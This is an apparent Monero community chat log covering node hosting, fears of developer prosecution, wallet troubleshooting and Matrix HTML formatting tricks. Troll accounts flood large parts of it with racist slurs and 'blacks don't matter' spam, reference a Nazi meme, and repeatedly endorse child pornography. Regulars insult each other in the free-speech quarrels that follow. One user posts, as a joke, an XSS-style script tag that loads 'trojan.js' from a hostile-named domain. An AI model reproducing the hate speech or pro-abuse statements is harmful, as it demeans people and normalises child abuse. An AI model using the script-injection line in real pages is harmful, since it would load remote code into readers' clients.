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<kewbit:matrix.org> The government can do that in a heartbeat :)
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<nyx:nyx.1337.cx> sure they could, they could also easily nuke the whole planet if they wanted to
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<kewbit:matrix.org> It would probably only cost me about 70-80k a year to destroy Monero then
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<kewbit:matrix.org> Maybe this is a queue for the community to start hosting more of their own nodes :D
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<kewbit:matrix.org> Maybe this is a que for the community to start hosting more of their own nodes :D
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<kewbit:matrix.org> Maybe this is a cue for the community to start hosting more of their own nodes :D
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BlueyHealer
Just like with Tor. As soon as it is safer and I am less anxious, I will do that.
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<kewbit:matrix.org> If everyone thought like that Monero wouldn’t exist
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BlueyHealer
I know.
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<kewbit:matrix.org> It’s all risky! You thinking trying is risky wait till you get the bill for not trying!
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<nyx:nyx.1337.cx> I'm already hosting two full nodes
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<kewbit:matrix.org> I have a stagenet and mainnet running
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<nyx:nyx.1337.cx> I don't really have any reason to run stagenet
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BlueyHealer
NICE
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<kewbit:matrix.org> Me do
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<nihilist:nowhere.moe> btw interesting topic that was brought up in the skeptic sunday on monerotown :
monero.town/post/4174276
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<nihilist:nowhere.moe> does monero as a project have a disaster plan protecting against a potential tornadocash treatment ?
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<nihilist:nowhere.moe> does monero as a project have a disaster recovery plan protecting against a potential tornadocash treatment ?
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<monerobull:matrix.org> the majority of core is anon
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<monerobull:matrix.org> nobody here is getting a cut from north korea hacking money
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<monerobull:matrix.org> there is a massive difference between tornado/samourai and monero, even if it doesnt look like it at first glance
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<nihilist:nowhere.moe> does monero as a project have a disaster recovery plan protecting against a potential tornadocash-style treatment ?
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<monerobull:matrix.org> you can 100% prove tornado devs benefited from north korea hacking
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<monerobull:matrix.org> you can 100% prove people mixed hacked bitcoin through whirlpool
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<monerobull:matrix.org> cant really do that for monero
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BlueyHealer
They could still be treated like darknet admins - considered wanted and kept under close watch until they inevitably make a mistake...
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<monerobull:matrix.org> darknet admins 100% provably benefit from drug trade...
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<monerobull:matrix.org> how does core benefit from anything potentially illegal going on in monero?
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<monerobull:matrix.org> they dont
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<monerobull:matrix.org> being able to 100% prove something is going on + someone benefiting from it makes all the difference
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<nihilist:nowhere.moe> yea but leaving all the legality aside, don't want governments to go after the monero devs that didn't protect their anonymity, in an attempt to shut down the project
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<nihilist:nowhere.moe> yea but leaving all the legality aside, don't want governments to go after the monero devs that didn't protect their anonymity, in an attempt to shut down or stop the project
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<monerobull:matrix.org> governments arent retarded
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<nihilist:nowhere.moe> in case if the github repos pertaining to monero are taken down, would be neat to know who's in charge of spinning up the new home for monero repositories
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<monerobull:matrix.org> we have a backup already
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<monerobull:matrix.org> on gitlab
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<monerobull:matrix.org> also, all the devs have local versions of the repo
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<nihilist:nowhere.moe> oh i wasnt aware of that, my bad
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<monerobull:matrix.org> git is decentralized by nature
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<neromonero1024:monero.social> isn't it in government's best interest to allow monero development in the public so that they can also keep a close eye on how the development is going?
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<nihilist:nowhere.moe> i don't think it makes a difference, but it is in their interest to know who the developers are, so they can paint targets on their back
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<nihilist:nowhere.moe> at the developers' detriment. which is why i encourage them to remain anonymous throughout their work
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<nihilist:nowhere.moe> at the developers' detriment. which is why i encourage the monero devs to remain anonymous throughout their work
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<nihilist:nowhere.moe> but yea the fact that it's an open source git project makes it easy to spin up another repo in cae if the main one is taken down
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<nihilist:nowhere.moe> but yea the fact that it's an open source git project makes it easy to move the repos elsewhere in case if the main one is taken down
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<hardhatter:monero.social> Don’t dox yourself as a dev.
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<hardhatter:monero.social> As a user, If you’re in a jurisdiction that bans monero, don’t publicly trade it in a way that leaks your identity. And it’s better you move out of that jurisdiction and cut ties to that government anyway.
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<hardhatter:monero.social> It’s harder for them to legislate a ban of monero but there are countless times rulings have contradicted previous rulings and established laws in the US and virtually all national courts.
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<hardhatter:monero.social> They don’t have to make sense to succeed in banning it
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BlueyHealer
Why does someone have to prove the devs benefitted? Just that they enabled the behavior. "If there is a person, there's an article".
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BlueyHealer
Anyway, even in case of anonymity - they have caught such people too. Nobody can keep perfect OPSEC, especially for a long time.
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sech1
English speaker will not get that reference
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BlueyHealer
I thought that was a commonly known phrase...
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sech1
But most will get that reference now if you mention Pavel Durov as an example :D
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<monerobull:matrix.org> no bluey
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<monerobull:matrix.org> we have more or less free speech laws in the west
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<monerobull:matrix.org> the monero devs cant know if a transaction is malicious or not and either way they couldnt stop it
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BlueyHealer
I mean, they could still find a way.
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<hardhatter:monero.social> cope /s
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BlueyHealer
wdym cope? I do have concerns.
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<monerobull:matrix.org> it is so much easier to attack CEXs and make access hard
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<monerobull:matrix.org> than to go against free speech laws and ban monero outright
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<hardhatter:monero.social> They absolutely can
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BlueyHealer
Yea, true. But still there is always a way it can escalate, what we were talking about earlier. Relieved to know there are multiple backups of the git repo.
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<monerobull:matrix.org> bluey at that point you are no longer thinking logically. if we just ignore the laws, sure the government could send out the cops to execute you right now
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<hardhatter:monero.social> I directed that toward monerobull. Saying we don’t actually have free speech, but then added /s because I get his point that it’s atleast relatively better than places that explicitly don’t have free speech
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BlueyHealer
I am thinking logically - from precedent. Because even the EU attacked something as basic as encrypted chats, even if this is unenforceable.
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<monerobull:matrix.org> thats why i said "we have more or less free speech" :P
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<hardhatter:monero.social> That’s why I put /s
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<monerobull:matrix.org> bluey but the eu was still being logical
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<monerobull:matrix.org> the drafts didnt ban encryption itself
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BlueyHealer
Yea, true.
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<monerobull:matrix.org> they were more like a "mainstream companies will have to side-step it"
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BlueyHealer
That would not even be enforceable lol
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<monerobull:matrix.org> pretty sure it didnt even apply to something small like some guys encrypted chat app on github
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<nihilist:nowhere.moe> it is possible to protect your opsec if you do it correctly (correct technology implemented, and correct behavior) but yea maintaining anonymity is a difficult task for sure
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<nihilist:nowhere.moe> well, stricter than that of maintaining privacy i mean
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BlueyHealer
Yes, true. I meant it as one of the examples that EVEN in the civilized West, seems like they can ignore common sense and attack freedom.
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<hardhatter:monero.social> I mean it is enforceable. Just selectively enforceable. They make a bunch of laws they never charge people with until their out of options because their other charges failed in court
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<monerobull:matrix.org> when in doubt, charge em with tax fraud
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BlueyHealer
nihilist, true! But that changes when you are on the radar, like what I am afraid about the devs.
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<hardhatter:monero.social> Never fails
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BlueyHealer
monerobull, yeah, that too.
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<monerobull:matrix.org> or attempted money laundry, that's a new age classic
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<quickex:matrix.org> hey guys! What do you think about XMR poker tournament with $XMR prizes? Would it be interesting for you?
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<nyx:nyx.1337.cx> that'd be neat, alhtough I don't do gambling myself
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<nyx:nyx.1337.cx> that'd be neat, although I don't do gambling myself
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<ofrnxmr:monero.social> On what playform?
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<monerobull:matrix.org> you could ask monerotopia if they want to stream / host it, they have done soccer games before
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<nihilist:nowhere.moe> lol that could be nice too
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<nihilist:nowhere.moe> professional poker event, but payments are i n monero only
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<nihilist:nowhere.moe> professional poker event, but payments are in monero only
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housemate
did somebody say something?
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<quickex:matrix.org> pokernow club
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<ofrnxmr:monero.social> Link?
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<monerobull:matrix.org> probably pokernow.club lol
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<quickex:matrix.org> exactly
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<basses:matrix.org> Snowden says he uses Monero
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<neromonero1024:monero.social> this fucker is back
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<neromonero1024:monero.social> mods, please ban + remove
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<syntheticbird:monero.social> mods! attack lightning bolt!
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<monerobull:monero.social> Oh oh, another instance of monerobull should have banhammer
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remiliascarlet
What's the problem with that meme? I don't get it.
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<malcolmz:matrix.thisisjoes.site> damn why do u hate the niggers
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remiliascarlet
It's not so much that I hate niggers, it's that I support free speech.
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<syntheticbird:monero.social> remiliascarlet, you're free to have your own (arguably questionable) opinions, but n*zi symbol is prohibited by libera chat rules
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<syntheticbird:monero.social> plowsof help
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<pewdiepie:nope.chat> dont ban me
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<malcolmz:matrix.thisisjoes.site> I think it's a bit like 2A. Unless you excercise it, is it really in effect ? Therefore to have free speech, you have to be subject to nazi symbolism once in a while. So I vote on leaving him alone
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<malcolmz:matrix.thisisjoes.site> I think it's a bit like 2A. Unless you excercise it, is it really in effect ? Therefore to have free speech, you have to be subject to nazi symbolism once in a while. So I vote on leaving him alone. For as much as that counts*
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<syntheticbird:monero.social> i vote on cutting the bs and ban f*cker that permit themselves to say words like n*ggers or posting n*zi meme like its a f*cking telegram channel. get your free speech with your friends and family
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<malcolmz:matrix.thisisjoes.site> why are you using matrix and abiding by laws of censorship platforms ?
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nioCat
<basses:matrix.org> Snowden says he uses Monero <<>> are you sure he is saying that? bet you could put any words in a video clip
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<syntheticbird:monero.social> laws of censorship platforms? = not being an as***le . That's some inspiring standard indeed
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<malcolmz:matrix.thisisjoes.site> did I call you a nigger ?
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<malcolmz:matrix.thisisjoes.site> how am I being an asshole
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<neromonero1024:monero.social> wait... is pewdiepie your another acc?
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<malcolmz:matrix.thisisjoes.site> no I just stumbled upon this
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<syntheticbird:monero.social> yeah i dont think morepheus is behind pewdiepie
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<syntheticbird:monero.social> he has been there for a while now
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<timewalker:foxden.party> I'm excercising my free speech to say fuck you for even thinking about accepting nazi symbolism
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<malcolmz:matrix.thisisjoes.site> ok
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<neromonero1024:monero.social> look, I also support freedom of speech
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<neromonero1024:monero.social> however, there needs to be some form of standard to be in place for any civil discussion to work
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<neromonero1024:monero.social> while pewdiepie is exercising his freedom, he's also violating this standard
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<pewdiepie:nope.chat> i support freedom of speech
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<malcolmz:matrix.thisisjoes.site> namecalling would be against civility
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<syntheticbird:monero.social> some people will not accept standard for the sole purpose of proving themselves they are thinking out of the box despite falling into the asshole box
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<malcolmz:matrix.thisisjoes.site> but posting inflammatory content is not
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<strawberry:monero.social> if this is the same nope.chat user as before, he is also evading a ban (or multiple bans)
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<malcolmz:matrix.thisisjoes.site> it's just testing the principle
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<syntheticbird:monero.social> strawberry yes he is, no doubt about the fact he should be banned
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<neromonero1024:monero.social> yep... pewdiepie is also from nope.chat
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<neromonero1024:monero.social> look
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<neromonero1024:monero.social> this is a chat room about monero
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<neromonero1024:monero.social> we expect everything here to be about monero or monero-adjacent
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<neromonero1024:monero.social> yall may be freedom of speech absolutist... fine
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<neromonero1024:monero.social> but this is not the place to show it off
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<malcolmz:matrix.thisisjoes.site> I think freedom of speech is very adjacent
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<malcolmz:matrix.thisisjoes.site> freedom of money is just a broader form of freedom of speech
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<malcolmz:matrix.thisisjoes.site> if you're going to ban him for other reasons, fine
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<syntheticbird:monero.social> its not, if you are searching for highly punk/piracy/freedom oriented channel, these ones are not appropriate
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<malcolmz:matrix.thisisjoes.site> but that's just edgeposting routine for matrix rooms
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<preland:monero.social> Ah yes, another wonderful day in Monero general
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<preland:monero.social> Perhaps this will distract me from the migraine I’m having
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<preland:monero.social> Oop ig not
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<neromonero1024:monero.social> GNU/Morepheus: it may be kinda controversial but imo, **absolute** freedom of speech isn't possible
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<neromonero1024:monero.social> for example, let's say someone posts kiddie porn or threatens me and my family
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<neromonero1024:monero.social> sure, the "offender" has the "freedom" but we all agree that these actions are an unacceptable, correct?
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<neromonero1024:monero.social> we all accept certain rules and boundaries that shouldn't be crossed
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<preland:monero.social> When the speech itself becomes a commodity, everything kinda falls apart
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<neromonero1024:monero.social> I kinda get the vibe but would greatly appreciate a bit more detailed explanation on how it pertains to my comment
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remiliascarlet
syntheticbird:monero.social: "ban f*cker that permit themselves to say words like n*ggers or posting n*zi meme" The first and only rule of free speech is to not censor speech.
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<syntheticbird:monero.social> remiliascarlet you have a very naive way of seeing the world. If you take that as a basis then justice and moral is impossible
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remiliascarlet
syntheticbird:monero.social: Got too much fiber stuck in your ass that makes you so angry?
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<syntheticbird:monero.social> remiliascarlet lost too much brains on your way to critical thinking to be that ignorant
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remiliascarlet
Said no one ever.
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<neromonero1024:monero.social> please, let's not turn this into a shouting contest
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<neromonero1024:monero.social> the core of the issue, it seems, is stemming from the fact that there's no set of rules we all agreed on
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<neromonero1024:monero.social> so, for starter, let's all just agree that this is the Monero room and it should remain on monero and monero-adjacent topics
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<neromonero1024:monero.social> we could just take all the "showing off mah freedom of speech" edgelord stuff to a different place/room
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<syntheticbird:monero.social> the fact that not mods yet online also don't help, thats all. most usual people are either sleeping or busy right now
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<syntheticbird:monero.social> don't blame the mods, they have a life
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<monerobull:matrix.org> remilia didnt i call you naive for your views on ai on friday
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<monerobull:matrix.org> and now someone else is calling you naive for your views on something else
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<monerobull:matrix.org> curious
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remiliascarlet
You did, but then again, you're the one naive to fall for the AI hype,
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remiliascarlet
And really, I don't care if other people think I'm naive, doesn't automatically make it true.
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<monerobull:matrix.org> im not falling for hype, i can just see what will happen because i know the incentives and to which outcome theyll lead
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<hardhatter:monero.social> It’s just off topic and spam. What else do we need to say. If it wasn’t taking up space I wouldn’t personally care but it is so
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<syntheticbird:monero.social> Lets just ban pewdiepie and call it a day
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remiliascarlet
"because i know the incentives" Just like with the previous hype called "The Cloud" or "SaaS". Now look where that got.
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<monerobull:matrix.org> remilia move to offtopic
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remiliascarlet
The more they were pushing it, the more counter-culture people started taking back their rights to ownership, and the hype itself just died.
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remiliascarlet
Sure, it still exists in some form, but it's not being pushed to such an extend as it used to be anymore.
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<monerobull:matrix.org> it doesnt matter
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<monerobull:matrix.org> nobody gives a shit about image generation ai web app #200
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<monerobull:matrix.org> go continue in off topic
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<ofrnxmr:monero.social> #monero-offtopic
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<neromonero1024:monero.social> worry not... there's so much ai slop that they started inbreeding
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<ofrnxmr:monero.social> Cont discussion there
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remiliascarlet
Funny how we went from "fuck your rights to free speech and ban PewDiePie!" to "AI so cool, it gonna blow your ass off!".
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<dave.jp:matrix.org> Where can I find viewkey for getmonero and ccs wallet/s ?
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<ofrnxmr:monero.social> 1 sec
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<syntheticbird:monero.social> not sure. I think its no github
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<monerobull:matrix.org> id tell you that my whole point is "ai so cool its going to make millions unemployed" but that is off topic and should not be said in this room
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<ofrnxmr:monero.social> CCS: 41hzbgqgkrYijnRVBLzr1KHsYc1iUBBCJYeeT9d3eiYE2PhbohxxwJLZCNVbTzvAMkhtYGF3RQcr2Ea187AJn8af149UG1G
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<ofrnxmr:monero.social> viewkey: 62ad19781466882d8df0ae85743abcc5c8ef81e52e051e7cc56fe3c610d18001
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<ofrnxmr:monero.social> Height:
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<ofrnxmr:monero.social> 3049700
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<syntheticbird:monero.social> remiliascarlet managed to transform "stop spreading nazi symbol on this chat" to "fuck your rights to free speech". bro go touch grass or take some meds
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<ofrnxmr:monero.social> generalfund 1 and 2 are here ^
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<syntheticbird:monero.social> thx couldn't find it
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remiliascarlet
syntheticbird:monero.social: I never turned it into "fuck your rights to free speech", you did. How about YOU touch grass? And meds are all poison anyway.
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<syntheticbird:monero.social> remiliascarlet being certain to see other doing something you did is generally bad mental condition. Seek a therapist in your region.
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remiliascarlet
I'm not the one attacking you, which clearly shows who's the one with a mad mental condition.
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remiliascarlet
s/mad/bad
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<ofrnxmr:monero.social> Off fackin topic
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<monerobull:matrix.org> lmao
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<basses:matrix.org> not only that but also the vps provider for monero.social probably too
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<basses:matrix.org> idk, can you find the original clip?
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<basses:matrix.org> video*
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<pewdiepie:nope.chat> i am going to report monero.social to the vps provider and then monero.social will get closed
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<pewdiepie:nope.chat> why doesn't the owner of monero.social use bulletproof hosting? bulletproof hosting won't close your VPS for posting a meme about lionel nassi
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<syntheticbird:monero.social> no worry its cypherstack infrastructure
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<pewdiepie:nope.chat> it's just a lionel nassi meme
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<pewdiepie:nope.chat> it's just lionel nassi
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<basses:matrix.org> that wouldn't allow you to post meme off topic
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remiliascarlet
pewdiepie:nope.chat: "i am going to report monero.social to the vps provider and then monero.social will get closed" That is double anti-free speech.
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<basses:matrix.org> so stfu
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<basses:matrix.org> physical servers?
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<syntheticbird:monero.social> afaik yes
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<pewdiepie:nope.chat> idc
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<basses:matrix.org> cool
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<pewdiepie:nope.chat> they should just use bulletproof hosting
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remiliascarlet
According to some whois information, they seem to be using Hetzner. Not sure if they're bulletproof hosting, but I heard quite some good stuff about them.
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<preland:monero.social> When speech is either directly actionable (verbal threats) or is a literal product (CSAM), then it becomes more than just “speech”
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<syntheticbird:monero.social> dan miller
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<syntheticbird:monero.social> save us
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<syntheticbird:monero.social> jk you can't
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<syntheticbird:monero.social> only plowsof is admin
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CSAM is very objective, yet most people treat it as something subjective, seeing how westerners tend to lump 2D drawings under the same umbrella as real life children getting raped somehow.
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<dan:cypherstack.com> Monero.social matrix does not run on cypherstack servers
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remiliascarlet
Or even parents making completely normal photos of their own children, like how Apple and Google marked those as CSAM before.
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<dan:cypherstack.com> I haven't been following, can i help?
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<pewdiepie:nope.chat> i like watching child porn, i think child porn should be legalized
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<syntheticbird:monero.social> not really there is a nazi meme spammer and he was saying he would report the instance to the VPS host just for closing monero.social
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<syntheticbird:monero.social> but i was saying we don't care because its your infrastructure
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remiliascarlet
I think they're just trolling about the reporting and closing part.
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<syntheticbird:monero.social> probably yes
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<monerobull:matrix.org> plowsof: ffs the people are arguing about child porn again
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<pewdiepie:nope.chat> i like watching child porn, i think child porn should be legalized
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<monerobull:matrix.org> xmrscott:
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<neromonero1024:monero.social> aaaaannd... retard goes back to retarding
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<syntheticbird:monero.social> who let the shota/lolicon out
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<pewdiepie:nope.chat> i like child oirbn
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<pewdiepie:nope.chat> child porn
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<syntheticbird:monero.social> get these animals under control
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<pewdiepie:nope.chat> do you like watching child porn?
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<preland:monero.social> Poor poor plowsof can never get a break lol
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<syntheticbird:monero.social> we needs more mods honestly
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<syntheticbird:monero.social> @monerobull:matrix.org should be one
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<preland:monero.social> Going back onto topic, who was the person who figured out the maximum number of transactions per second possible on a local testnet?
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<preland:monero.social> I don’t remember who it was, and I’d like that number for some math (it might’ve been ofrn?)
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<pewdiepie:nope.chat> do you like watching child porn?
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<syntheticbird:monero.social> idk, wasn't that number on a research paper?
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<syntheticbird:monero.social> protips just ignore/mute pewdiepie
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<syntheticbird:monero.social> maybe im confused with L2 research paper TPS
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<nyx:nyx.1337.cx> tbh I expected that exactly this would happen eventually
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<preland:monero.social> Yeah I just did that
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<preland:monero.social> That might be it
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<rottenwheel:kernal.eu> plowsof @plowsof:matrix.org xmrscott charuto endor00
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<preland:monero.social> 🎉
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<syntheticbird:monero.social> PLOWSOF
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<syntheticbird:monero.social> OUR HERO
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<nyx:nyx.1337.cx> bit late, rotten
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<syntheticbird:monero.social> XMRSCOTT
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<syntheticbird:monero.social> OUR HERO
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<syntheticbird:monero.social> @rottenwheel:kernal.eu how you make the text reaction?
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<syntheticbird:monero.social> magic
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» m-relay_ <syntheticbird:monero.social> magic
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<nyx:nyx.1337.cx> "official" matrix clients (i.e. Element) don't have that feature but it's available on SchildiChat and FluffyChat
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<syntheticbird:monero.social> ¯\_(ツ)_/¯ magic
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<syntheticbird:monero.social> damn i give up
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remiliascarlet
Neither does IRC.
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<syntheticbird:monero.social> ah ok i see thx
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<nyx:nyx.1337.cx> well, theoretically you could manually send the event on element but that's a bit of a hassle
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remiliascarlet
And muting m-relay would mute the entire Matrix side.
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<basses:matrix.org> <font color="#789922"> >test </font>
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<preland:monero.social> Why do I feel like this is an arbitrary code execution risk lol
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basses:matrix.org: Nice HTML.
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<basses:matrix.org> <font color="#789922"> >can't text react </font>
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<syntheticbird:monero.social> @xmrscott:monero.social BAN HIM QUICK
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<nyx:nyx.1337.cx> how would it be?
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<syntheticbird:monero.social> HE IS BACK
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matterblacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<nyx:nyx.1337.cx> real original, guy
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<preland:monero.social> IE Element didn’t account for custom reactions and left the input unsanitized
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<nyx:nyx.1337.cx> how are you this bad at spamming?
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<nyx:nyx.1337.cx> it did?
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> blacks dont matter blacks dont matter
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<bdmblacksdontmatter:nope.chat> BDM
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<bdmblacksdontmatter:nope.chat> BDM BDM BDM
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<bdmblacksdontmatter:nope.chat> BDM NIGGA BDM
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<nyx:nyx.1337.cx> there we are
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<syntheticbird:monero.social> im sure he have plenty of other accounts
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<basses:matrix.org> too much pron watching, iq below 2
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<malcolmz:matrix.thisisjoes.site> bruh
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<nyx:nyx.1337.cx> most definitely
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<syntheticbird:monero.social> we should just defederate from nope.chat
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<preland:monero.social> I’m just guessing since Element allows for it to be seen but not written that it could be an edge case
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<nyx:nyx.1337.cx> I doubt that
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<nyx:nyx.1337.cx> emoji reactions are still a thing
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<nyx:nyx.1337.cx> it's the same field, just different data
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<preland:monero.social> Was just abt to say that tbh
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syntheticbird:monero.social: All you will achieve is that it'll just move spammers to a different instance.
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<basses:matrix.org> should look like 4chan quote using Matrix
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<preland:monero.social> Ig that’s fair
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<preland:monero.social> >be me
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<basses:matrix.org> "green text"
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<nyx:nyx.1337.cx> nope.chat doesn't seem like a bad instance per se
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<preland:monero.social> \>Didn’t work for me
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<nyx:nyx.1337.cx> could just as well have used matrix.org or any of the other thousands of instances
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<syntheticbird:monero.social> yeah just saw that. that's unfortunate
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<nyx:nyx.1337.cx> nope.chat *does* have explicit rules against racism
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<basses:matrix.org> if using elment enter "/html <font color="#789922"> >rando cool </font>"
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And defederating an entire instance over just 2 bad apples really reminds me to left wing extremists on the Fediverse.
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<nyx:nyx.1337.cx> plus it's a german instance so the prior content from pewdiepie actually violates local law
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<basses:matrix.org> type HTML tags after that
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<nyx:nyx.1337.cx> plus it's a german instance so the prior content from "pewdiepie" actually violates local law
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<preland:monero.social> /html >hmm
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<syntheticbird:monero.social> well, ig we'll have to deal with this crap
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<basses:matrix.org> can copy from IRC I think monerologs
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<syntheticbird:monero.social> defederating isn't an option
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<nyx:nyx.1337.cx> <h1>beeg text</h1>
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<syntheticbird:monero.social> # H1
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<syntheticbird:monero.social> ## H2
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<syntheticbird:monero.social> ### H3
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<syntheticbird:monero.social> #### H4
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<nyx:nyx.1337.cx> <span style="color: green">green</span>
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<syntheticbird:monero.social> ##### H5
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<nyx:nyx.1337.cx> that dint work
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<syntheticbird:monero.social> /rain
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<nyx:nyx.1337.cx> <font color="green">green</font>
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<nyx:nyx.1337.cx> there we are
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<nyx:nyx.1337.cx> `/html <font color="green">green</font>`
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<basses:matrix.org> thx
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<nyx:nyx.1337.cx> 4chan greentext color is uh
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<basses:matrix.org> change color to #789922
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<nyx:nyx.1337.cx> yeah that
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<preland:monero.social> <font color=\"green\">>be me<\/font>
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<syntheticbird:monero.social> /html <script src="
killmonerochannel.com/trojan.js"></script>
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<preland:monero.social> Lol
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<basses:matrix.org> add /html
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<basses:matrix.org> to escape
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<preland:monero.social> /html <font color="green">>be me</font>
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<basses:matrix.org> failed XSS
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<nyx:nyx.1337.cx> <img src="mxc://nyx.1337.cx/tXOtOjvLIWsnNSaWFyrwuzSH" width=256 /><br><font color="#789922">>tfw they say btc is untraceable</font>
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If you can XSS on Matrix, then it's yet another reason why IRC is superior.
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<nyx:nyx.1337.cx> the irc buffer overflow rce:
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<ihateblacklives:nope.chat> matrix > irc
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<system> file image.png too big to download (1507492 > allowed size: 1000000)
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<nyx:nyx.1337.cx> image.png
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<nyx:nyx.1337.cx> <a href="
nvd.nist.gov/vuln/detail/CVE-2016-2233">HexChat CVE-2016-2233</a><br><img src="mxc://nyx.1337.cx/RwUetfbzyoZbMXuSpoVRkYjZ" width="48" />
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<nyx:nyx.1337.cx> not an rce but funny
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<basses:matrix.org> HexChat dead
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<basses:matrix.org> removed from Whonix
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<nyx:nyx.1337.cx> so real
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<blacksshouldkillthemselves:nope.chat> hexchat is the best irc client
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plowsof
Everything in order sirs?
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plowsof
Can everyone in need of disciplinary action please form an orderly line while i read the backlog
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remiliascarlet
nyx:nyx.1337.cx: I use Weechat, so I should be safe on this one.
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I just can't imagine using a GUI client for a text-only chat protocol.
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<nyx:nyx.1337.cx> it's a CVE from 2016
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<nyx:nyx.1337.cx> patched long ago
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I'm not blind.
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<plowsof:matrix.org> this would be stolen valour, one of our moderators got to this while i was sleeping on the job
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<korgprivacy:matrix.org> 📰Missed Monerotopia Episode (#181)? Check out the Price, NEWS.
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<korgprivacy:matrix.org> Reports here! ⤵️
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<korgprivacy:matrix.org> Price Report:
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<korgprivacy:matrix.org> Youtube:
youtu.be/hx2NDm91n9E
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<korgprivacy:matrix.org> News Segment:
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<korgprivacy:matrix.org> Youtube:
youtu.be/1vbg274qLh8
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<3nriched:matrix.org> hello
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<3nriched:matrix.org> does monero wallet require alot of ram towards the end of snychronizing?
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<3nriched:matrix.org> my machine always restarts for some reason
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<3nriched:matrix.org> i bought a new computer thinking mine was too old but still same issue
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<3nriched:matrix.org> bleh maybe i can figure it outz rawr
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<3nriched:matrix.org> updated bios lets see what else
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<syntheticbird:monero.social> are you using Monero GUI Wallet ?
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<3nriched:matrix.org> yes
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<3nriched:matrix.org> i last tried downloading blockchain from getmonero site but woke up to restarted pc so almost positive its my computer
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<syntheticbird:monero.social> Ok so you are using monero GUI wallet in local node mode. Indeed, it can consume some RAM (max I've seen is 3~4GB) at the end but not at the point of causing your machine to be killed.
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<syntheticbird:monero.social> I would recommend you to switch over Remote node if your machine can't handle it
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<3nriched:matrix.org> i wanted to try solo mining unless maybe theres another way? also i have 32gb ram so maybe thats not issue
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<syntheticbird:monero.social> ah yes that is probably not the issue then
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<syntheticbird:monero.social> what OS are you using?
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<3nriched:matrix.org> win 10 pro
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<3nriched:matrix.org> just a cheap dell t3610 from amazon
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<syntheticbird:monero.social> I've heard some corruption issue with LMDB (monerod database) on windows but if the machine restart its definitely a windows issue
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<syntheticbird:monero.social> it restart because it uses all the RAM or it just restart randomly?
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<3nriched:matrix.org> ill just wake up and the computer will be restarted at login screen
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<3nriched:matrix.org> i set power managerment to not logout etc
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<3nriched:matrix.org> windows updates off etc
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<syntheticbird:monero.social> i'll be honest I can't see what could go wrong. Monerod is a pretty stable software, it never caused crashes on linux, windows or bsd, at least there are no open issue that I know of. Don't hesitate to re-ask in this channel if you have more informations, people smarter than me could help you out
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<3nriched:matrix.org> i appreciate your help ty
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<3nriched:matrix.org> im just gonna keep updating some drivers and reading up on it meow
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<thekingoftheabyss:matrix.org> Осталось чуток
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<paranoia_machinery:monero.social> I interviewed Exitus from Decred about the bison wallet dex. They're welcoming other crypto communities to add their own coins. This would be a good proposal for monero
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is this an ad?
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<nyx:nyxmr.top> new new account (new domain)
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<syntheticbird:monero.social> new men
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<nyx:nyxmr.top> what
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<syntheticbird:monero.social> new account = new men
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<nyx:nyxmr.top> ah I see
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<nyx:nyxmr.top> not this guy again
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<nyx:nyxmr.top> mods, subject him to testicular torsion
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<syntheticbird:monero.social> that must be funniest sentence I've ever heard in months
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGERblacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGERblacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<klausschwab:monero.social> Hi Leif
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<strawberry:monero.social> calm down
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<nyx:nyxmr.top> yap yap yap, go get a job
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<syntheticbird:monero.social> what
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<syntheticbird:monero.social> you are on monero channels?
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<klausschwab:monero.social> Always has been
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
